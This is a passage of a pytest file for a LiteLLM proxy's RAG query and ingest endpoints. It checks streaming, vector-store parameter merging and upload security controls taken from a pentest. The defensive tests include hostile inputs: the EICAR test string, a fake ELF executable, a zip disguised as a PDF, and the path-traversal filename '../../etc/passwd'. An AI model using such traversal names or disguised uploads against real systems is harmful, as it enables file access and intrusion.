mock_response="The codename is AZURE-FALCON-42.",
|
|
stream=True,
|
|
api_key="test-key",
|
|
)
|
|
|
|
with patch(
|
|
"litellm.proxy.rag_endpoints.endpoints.litellm.aquery",
|
|
new=AsyncMock(side_effect=fake_aquery),
|
|
), patch("litellm.vector_store_registry", None), patch("litellm.proxy.proxy_server.prisma_client", None):
|
|
response = client_internal_user.post(
|
|
"/v1/rag/query",
|
|
json={
|
|
"model": "gpt-4o-mini",
|
|
"messages": [{"role": "user", "content": "What is the codename?"}],
|
|
"retrieval_config": {
|
|
"vector_store_id": "vs_test_123",
|
|
"custom_llm_provider": "openai",
|
|
},
|
|
"stream": True,
|
|
},
|
|
)
|
|
|
|
assert response.status_code == 200, response.text
|
|
assert response.headers.get("content-type", "").startswith("text/event-stream")
|
|
assert '"object":"chat.completion.chunk"' in response.text
|
|
assert "data: [DONE]" in response.text
|
|
|
|
|
|
def test_rag_query_stream_pings_while_retrieval_is_still_running(client_internal_user, monkeypatch):
|
|
import asyncio
|
|
|
|
import litellm as litellm_module
|
|
|
|
monkeypatch.setattr(litellm_module, "sse_keepalive_ping_interval_seconds", 0.05)
|
|
|
|
async def slow_aquery(**kwargs):
|
|
await asyncio.sleep(0.3)
|
|
return await litellm_module.acompletion(
|
|
model="gpt-4o-mini",
|
|
messages=[{"role": "user", "content": "What is the codename?"}],
|
|
mock_response="The codename is AZURE-FALCON-42.",
|
|
stream=True,
|
|
api_key="test-key",
|
|
)
|
|
|
|
with (
|
|
patch( # test-quality-ok: the handler calls the module-level litellm.aquery directly; no injection seam
|
|
"litellm.proxy.rag_endpoints.endpoints.litellm.aquery",
|
|
new=AsyncMock(side_effect=slow_aquery),
|
|
),
|
|
patch("litellm.vector_store_registry", None), # test-quality-ok: proxy module global, no injection seam
|
|
patch("litellm.proxy.proxy_server.prisma_client", None), # test-quality-ok: proxy module global, no injection seam
|
|
):
|
|
response = client_internal_user.post(
|
|
"/v1/rag/query",
|
|
json={
|
|
"model": "gpt-4o-mini",
|
|
"messages": [{"role": "user", "content": "What is the codename?"}],
|
|
"retrieval_config": {
|
|
"vector_store_id": "vs_test_123",
|
|
"custom_llm_provider": "openai",
|
|
},
|
|
"stream": True,
|
|
},
|
|
)
|
|
|
|
assert response.status_code == 200, response.text
|
|
assert response.headers.get("content-type", "").startswith("text/event-stream")
|
|
assert response.headers["x-accel-buffering"] == "no"
|
|
assert response.text.startswith(": ping\n\n")
|
|
assert response.text.count(": ping\n\n") >= 3
|
|
assert '"object":"chat.completion.chunk"' in response.text
|
|
assert response.text.endswith("data: [DONE]\n\n")
|
|
|
|
|
|
def test_rag_query_stream_keeps_response_headers_when_retrieval_beats_the_keepalive(
|
|
client_internal_user, monkeypatch
|
|
):
|
|
import litellm as litellm_module
|
|
|
|
monkeypatch.setattr(litellm_module, "sse_keepalive_ping_interval_seconds", 5)
|
|
|
|
async def fast_aquery(**kwargs):
|
|
response = await litellm_module.acompletion(
|
|
model="gpt-4o-mini",
|
|
messages=[{"role": "user", "content": "What is the codename?"}],
|
|
mock_response="The codename is AZURE-FALCON-42.",
|
|
stream=True,
|
|
api_key="test-key",
|
|
)
|
|
response._hidden_params["response_cost"] = 3.45e-06
|
|
return response
|
|
|
|
with (
|
|
patch( # test-quality-ok: the handler calls the module-level litellm.aquery directly; no injection seam
|
|
"litellm.proxy.rag_endpoints.endpoints.litellm.aquery",
|
|
new=AsyncMock(side_effect=fast_aquery),
|
|
),
|
|
patch("litellm.vector_store_registry", None), # test-quality-ok: proxy module global, no injection seam
|
|
patch("litellm.proxy.proxy_server.prisma_client", None), # test-quality-ok: proxy module global, no injection seam
|
|
):
|
|
response = client_internal_user.post(
|
|
"/v1/rag/query",
|
|
json={
|
|
"model": "gpt-4o-mini",
|
|
"messages": [{"role": "user", "content": "What is the codename?"}],
|
|
"retrieval_config": {
|
|
"vector_store_id": "vs_test_123",
|
|
"custom_llm_provider": "openai",
|
|
},
|
|
"stream": True,
|
|
},
|
|
)
|
|
|
|
assert response.status_code == 200, response.text
|
|
assert response.headers.get("content-type", "").startswith("text/event-stream")
|
|
assert response.headers.get("x-litellm-response-cost") == "3.45e-06"
|
|
assert not response.text.startswith(": ping")
|
|
assert '"object":"chat.completion.chunk"' in response.text
|
|
assert response.text.endswith("data: [DONE]\n\n")
|
|
|
|
|
|
def test_rag_query_merges_managed_store_params(client_internal_user):
|
|
"""
|
|
Regression: /v1/rag/query must consult the managed vector store registry
|
|
(like the direct /v1/vector_stores/{id}/search endpoint does) so that
|
|
provider, region, embedding model, etc. don't have to be repeated in
|
|
retrieval_config. Pre-fix the registry was never read, so managed S3
|
|
Vectors stores failed with "aws_region_name is required".
|
|
"""
|
|
import litellm
|
|
from litellm.types.utils import ModelResponse
|
|
|
|
mock_vector_store = {
|
|
"vector_store_id": "s3-store",
|
|
"custom_llm_provider": "s3_vectors",
|
|
"litellm_params": {
|
|
"aws_region_name": "eu-west-1",
|
|
"embedding_model": "my-embed",
|
|
"vector_bucket_name": "bkt",
|
|
},
|
|
}
|
|
mock_registry = MagicMock()
|
|
mock_registry.get_litellm_managed_vector_store_from_registry.return_value = mock_vector_store
|
|
|
|
mock_response = ModelResponse(
|
|
id="chatcmpl-test",
|
|
choices=[{"index": 0, "message": {"role": "assistant", "content": "hi"}, "finish_reason": "stop"}],
|
|
model="gpt-4o-mini",
|
|
)
|
|
|
|
with patch( # test-quality-ok: aquery is the endpoint's downstream boundary; the forwarded config is what the test asserts
|
|
"litellm.proxy.rag_endpoints.endpoints.litellm.aquery",
|
|
new_callable=AsyncMock,
|
|
return_value=mock_response,
|
|
) as mock_aquery, patch.object(litellm, "vector_store_registry", mock_registry), patch( # test-quality-ok: seeds the managed-store registry the merge under test reads and grants access so real store resolution runs
|
|
"litellm.proxy.vector_store_endpoints.utils.can_user_access_vector_store",
|
|
new=AsyncMock(return_value=True),
|
|
):
|
|
response = client_internal_user.post(
|
|
"/v1/rag/query",
|
|
json={
|
|
"model": "gpt-4o-mini",
|
|
"messages": [{"role": "user", "content": "hello"}],
|
|
"retrieval_config": {"vector_store_id": "s3-store"},
|
|
},
|
|
)
|
|
|
|
assert response.status_code == 200, response.json()
|
|
mock_aquery.assert_awaited_once()
|
|
forwarded_config = mock_aquery.await_args.kwargs["retrieval_config"]
|
|
assert forwarded_config["vector_store_id"] == "s3-store"
|
|
assert forwarded_config["custom_llm_provider"] == "s3_vectors"
|
|
assert forwarded_config["aws_region_name"] == "eu-west-1"
|
|
assert forwarded_config["embedding_model"] == "my-embed"
|
|
assert forwarded_config["vector_bucket_name"] == "bkt"
|
|
|
|
|
|
def test_rag_query_store_params_win_over_user_retrieval_config(client_internal_user):
|
|
"""Registry values must win over user-supplied retrieval_config keys so callers cannot override store credentials."""
|
|
import litellm
|
|
from litellm.types.utils import ModelResponse
|
|
|
|
mock_vector_store = {
|
|
"vector_store_id": "s3-store",
|
|
"custom_llm_provider": "s3_vectors",
|
|
"litellm_params": {"aws_region_name": "eu-west-1"},
|
|
}
|
|
mock_registry = MagicMock()
|
|
mock_registry.get_litellm_managed_vector_store_from_registry.return_value = mock_vector_store
|
|
|
|
mock_response = ModelResponse(
|
|
id="chatcmpl-test",
|
|
choices=[{"index": 0, "message": {"role": "assistant", "content": "hi"}, "finish_reason": "stop"}],
|
|
model="gpt-4o-mini",
|
|
)
|
|
|
|
with patch( # test-quality-ok: aquery is the endpoint's downstream boundary; the forwarded config is what the test asserts
|
|
"litellm.proxy.rag_endpoints.endpoints.litellm.aquery",
|
|
new_callable=AsyncMock,
|
|
return_value=mock_response,
|
|
) as mock_aquery, patch.object(litellm, "vector_store_registry", mock_registry), patch( # test-quality-ok: seeds the managed-store registry the merge under test reads and grants access so real store resolution runs
|
|
"litellm.proxy.vector_store_endpoints.utils.can_user_access_vector_store",
|
|
new=AsyncMock(return_value=True),
|
|
):
|
|
response = client_internal_user.post(
|
|
"/v1/rag/query",
|
|
json={
|
|
"model": "gpt-4o-mini",
|
|
"messages": [{"role": "user", "content": "hello"}],
|
|
"retrieval_config": {"vector_store_id": "s3-store", "aws_region_name": "us-east-1"},
|
|
},
|
|
)
|
|
|
|
assert response.status_code == 200, response.json()
|
|
forwarded_config = mock_aquery.await_args.kwargs["retrieval_config"]
|
|
assert forwarded_config["aws_region_name"] == "eu-west-1"
|
|
|
|
|
|
def test_rag_query_forwards_managed_store_credentials_to_search(client_internal_user):
|
|
"""
|
|
Regression for LIT-6773: the registry store's api_key / api_base and its
|
|
provider extras (Milvus outputFields, milvus_text_field) must reach the
|
|
vector store search the way the direct /v1/vector_stores/{id}/search
|
|
endpoint forwards them. Pre-fix the RAG path allowlisted them away and a
|
|
managed Milvus store 500'd with "MILVUS_API_KEY is not set".
|
|
"""
|
|
import litellm
|
|
from litellm import Router
|
|
from litellm.types.vector_stores import VectorStoreSearchResponse
|
|
|
|
mock_vector_store = {
|
|
"vector_store_id": "customer_kb",
|
|
"custom_llm_provider": "milvus",
|
|
"litellm_params": {
|
|
"vector_store_id": "customer_kb",
|
|
"custom_llm_provider": "milvus",
|
|
"api_base": "http://127.0.0.1:19530",
|
|
"api_key": "root:Milvus",
|
|
"litellm_embedding_model": "multilingual-e5-large",
|
|
"milvus_text_field": "book_intro_text",
|
|
"outputFields": ["book_intro_text"],
|
|
},
|
|
}
|
|
mock_registry = MagicMock()
|
|
mock_registry.get_litellm_managed_vector_store_from_registry.return_value = mock_vector_store
|
|
fake_search = AsyncMock(
|
|
return_value=VectorStoreSearchResponse(object="vector_store.search_results.page", search_query="q", data=[])
|
|
)
|
|
router = Router(
|
|
model_list=[
|
|
{
|
|
"model_name": "gpt-4o-mini",
|
|
"litellm_params": {"model": "openai/gpt-4o-mini", "api_key": "sk-test", "mock_response": "hi"},
|
|
}
|
|
]
|
|
)
|
|
|
|
with (
|
|
patch("litellm.vector_stores.asearch", new=fake_search), # test-quality-ok: the search boundary under test
|
|
patch.object(litellm, "vector_store_registry", mock_registry), # test-quality-ok: seeds the store under test
|
|
patch("litellm.proxy.proxy_server.llm_router", router), # test-quality-ok: mock-response router for completion
|
|
patch( # test-quality-ok: store access is not under test, so the request reaches the search boundary
|
|
"litellm.proxy.vector_store_endpoints.utils.can_user_access_vector_store",
|
|
new=AsyncMock(return_value=True),
|
|
),
|
|
):
|
|
response = client_internal_user.post(
|
|
"/v1/rag/query",
|
|
json={
|
|
"model": "gpt-4o-mini",
|
|
"messages": [{"role": "user", "content": "which database is built for similarity search?"}],
|
|
"retrieval_config": {"vector_store_id": "customer_kb", "custom_llm_provider": "milvus", "top_k": 2},
|
|
},
|
|
)
|
|
|
|
assert response.status_code == 200, response.json()
|
|
fake_search.assert_awaited_once()
|
|
search_kwargs = fake_search.await_args.kwargs
|
|
assert search_kwargs["vector_store_id"] == "customer_kb"
|
|
assert search_kwargs["custom_llm_provider"] == "milvus"
|
|
assert search_kwargs["max_num_results"] == 2
|
|
assert search_kwargs["api_base"] == "http://127.0.0.1:19530"
|
|
assert search_kwargs["api_key"] == "root:Milvus"
|
|
assert search_kwargs["litellm_embedding_model"] == "multilingual-e5-large"
|
|
assert search_kwargs["milvus_text_field"] == "book_intro_text"
|
|
assert search_kwargs["outputFields"] == ["book_intro_text"]
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
"blocked_key",
|
|
["embedding_model", "litellm_embedding_model", "litellm_embedding_config", "litellm_credential_name"],
|
|
)
|
|
def test_rag_query_rejects_caller_embedding_selection_params(client_internal_user, blocked_key):
|
|
"""
|
|
Regression: a caller must not pick the embedding model or credential used at
|
|
search time. Those resolve through the Router with the proxy's credentials,
|
|
bypassing the key's model permissions, so they may only come from the
|
|
managed store's server-side registration.
|
|
"""
|
|
response = client_internal_user.post(
|
|
"/v1/rag/query",
|
|
json={
|
|
"model": "gpt-4o-mini",
|
|
"messages": [{"role": "user", "content": "hello"}],
|
|
"retrieval_config": {"vector_store_id": "s3-store", blocked_key: "attacker-choice"},
|
|
},
|
|
)
|
|
|
|
assert response.status_code == 400, response.json()
|
|
assert blocked_key in str(response.json())
|
|
|
|
|
|
EICAR = r"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
|
|
INGEST_REQUEST = '{"ingest_options":{"vector_store":{"custom_llm_provider":"openai"}}}'
|
|
|
|
|
|
def _multipart_ingest_request(*, filename: str, content: bytes, content_type: str):
|
|
from starlette.requests import Request
|
|
|
|
boundary = "litellmuploadtestboundary"
|
|
head = (
|
|
f"--{boundary}\r\n"
|
|
f'Content-Disposition: form-data; name="file"; filename="{filename}"\r\n'
|
|
f"Content-Type: {content_type}\r\n\r\n"
|
|
).encode()
|
|
tail = (
|
|
f"\r\n--{boundary}\r\n"
|
|
f'Content-Disposition: form-data; name="request"\r\n\r\n'
|
|
f"{INGEST_REQUEST}\r\n"
|
|
f"--{boundary}--\r\n"
|
|
).encode()
|
|
body = head + content + tail
|
|
scope = {
|
|
"type": "http",
|
|
"method": "POST",
|
|
"path": "/v1/rag/ingest",
|
|
"headers": [
|
|
(b"content-type", f"multipart/form-data; boundary={boundary}".encode()),
|
|
(b"content-length", str(len(body)).encode()),
|
|
],
|
|
"state": {},
|
|
}
|
|
|
|
async def receive():
|
|
return {"type": "http.request", "body": body, "more_body": False}
|
|
|
|
return Request(scope, receive)
|
|
|
|
|
|
class TestVectorStoreUploadControls:
|
|
"""End-to-end enforcement of pentest M4 upload controls on /v1/rag/ingest."""
|
|
|
|
def test_eicar_upload_blocked_by_malware_scanner(self, client_internal_user):
|
|
response = client_internal_user.post(
|
|
"/v1/rag/ingest",
|
|
files={"file": ("clean_name.txt", io.BytesIO(EICAR.encode()), "text/plain")},
|
|
data={"request": INGEST_REQUEST},
|
|
)
|
|
assert response.status_code == 400, response.text
|
|
assert response.json()["detail"]["reason"] == "malware_detected"
|
|
|
|
def test_executable_upload_rejected(self, client_internal_user):
|
|
elf = b"\x7fELF\x02\x01\x01\x00" + b"\x00" * 40
|
|
response = client_internal_user.post(
|
|
"/v1/rag/ingest",
|
|
files={"file": ("doc.txt", io.BytesIO(elf), "text/plain")},
|
|
data={"request": INGEST_REQUEST},
|
|
)
|
|
assert response.status_code == 400, response.text
|
|
assert response.json()["detail"]["reason"] == "executable_not_allowed"
|
|
|
|
def test_zip_archive_upload_rejected(self, client_internal_user):
|
|
response = client_internal_user.post(
|
|
"/v1/rag/ingest",
|
|
files={"file": ("doc.pdf", io.BytesIO(b"PK\x03\x04\x14\x00\x00\x00payload"), "application/pdf")},
|
|
data={"request": INGEST_REQUEST},
|
|
)
|
|
assert response.status_code == 400, response.text
|
|
assert response.json()["detail"]["reason"] == "archive_not_allowed"
|
|
|
|
async def test_clean_text_upload_gets_server_generated_filename(self):
|
|
from litellm.proxy.rag_endpoints.endpoints import parse_rag_ingest_request
|
|
from litellm.proxy.rag_endpoints.upload_security import EicarTestMalwareScanner
|
|
|
|
request = _multipart_ingest_request(
|
|
filename="../../etc/passwd",
|
|
content=b"benign document text\n",
|
|
content_type="text/plain",
|
|
)
|
|
_options, file_data, _url, _file_id = await parse_rag_ingest_request(
|
|
request, scanner=EicarTestMalwareScanner()
|
|
)
|
|
assert file_data is not None
|
|
server_filename, content_bytes, secured_content_type = file_data
|
|
assert server_filename != "../../etc/passwd"
|
|
assert "/" not in server_filename and "\\" not in server_filename
|
|
assert server_filename.endswith(".txt")
|
|
assert secured_content_type == "text/plain"
|
|
assert content_bytes == b"benign document text\n"
|